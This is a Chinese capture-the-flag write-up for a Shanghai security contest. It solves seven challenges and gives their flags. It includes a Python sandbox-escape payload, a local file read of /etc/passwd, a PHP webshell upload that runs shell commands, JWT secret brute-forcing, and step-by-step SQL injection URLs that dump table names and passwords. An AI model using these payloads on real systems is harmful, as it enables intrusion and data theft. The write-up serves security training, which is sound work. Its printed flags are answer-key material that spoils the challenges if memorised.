首届“神盾杯”上海市网络安全竞赛,去年的比赛。
0x00 babyJS
操作内容:
查看源码 找不到被调用的CheckLogin函数
看到script中有用到unespace和escape等函数 用于编码字符串
将eval传参改为alert 显示为弹窗
发现check函数 并将flag与用户输入做比较 得到flag
FLAG值:
flag{a5a5f402f6dc62acd3e848900a17513f}
0x01 crypto_easy_1
操作内容:
下载文件
发现3行类似的数据 并且长度一致。
:左边的长度为42 右边的长度为56 ,猜测右边被base64编码过 进行解码 比较长度
长度一致 为42
异或运算一下 可以得到Key随后将key代入 与base64解码后的密文异或比较 得到flag
解密脚本如下:
1 | import base64 |
FLAG值:
flag{b80f908c-8226-11e9-8b28-88e9fe5197ac}
0x02 ez_gallery_1
操作内容:
查看源码
提示flag位置
找到可以利用的url
使用?截断1.jpg
FLAG值:
flag{378346c7ac53d624a8621efc745bbeab}
0x03 fast_calc_2
操作内容:
随便试了几下{1+1},{set},发现有点奇怪,猜测可能是python逃逸
尝试dir(().class)
尝试了一下网上的payload但是没有成功,发现存在过滤,过滤了[]
查到builtins是自动引入环境的builtins.dict
查找资料通过pop绕过[]
Payload为:builtins.dict.pop(‘open’)(‘/flag’).readline()
FLAG值:
flag{4582900a19a6a8801399afb6a31d9bc0}
0x04 Easyadmin
操作内容:
爆破下目录发现index.php~存在源码
发现srole==admin才能输出flag
登陆的后发现token为base64加密,解一下
搜索了一下jwt发现有加密,网上有类似的解法
下面网站可以验证
有根据源码把guest改为admin
再看下源码,里面有一个key我们不知道,猜测需要爆破应该为4位
在github上找到一个脚本直接跑出来了https://github.com/brendan-rius/c-jwt-cracker
保存下‘sjwt’
用这个新token替换一下成功获取flag
FLAG值:
flag{11529a36dd607c45e5b104ed977247ed}
0x05 Easyupload
操作内容:
通过尝试发现在图片地址处输入 file:///etc/passwd可以读到文件
然后在这卡了好久,在摸索后发现可以通过用/proc/self/cwd绕过,cwd是一个符号链接,指向了实际的工作目录
下图是一篇文章中的介绍
构造如下payload
获取到源码
找到他的命名规则
然后通过上传php webshell获取flag
先上传一个phpinfo
读到了文件但是没有执行
想到通过
成功执行
运行 system(cat /flag)
FLAG值:
flag{2742ab5468a78d70dca332ca48aa7b89}
0x06 Easysqli
操作内容:
首先登陆pow直接在cmd5上解密下就行
一开始尝试各种绕过都不行
后来提示了一波bypass addslashes
通过google搜索
格式化字符串漏洞
找到payload %1$’
1.两张 admin%1$’%20union%20select%201,2%23
- 查找表admin%1$’%20union%20select%20table_name,2%20from%20information_schema.tables%20where%20table_schema=database()%23
表名user
- admin%1$’%20union%20select%20column_name,2%20from%20information_schema.columns%20where%20table_schema=database()%23
找到字段名
- admin%1$’%20union%20select%20username,password%20from%20user%23
在password中找到flag
FLAG值:
flag{299386fb699cff0cb99b1f57dee500a0}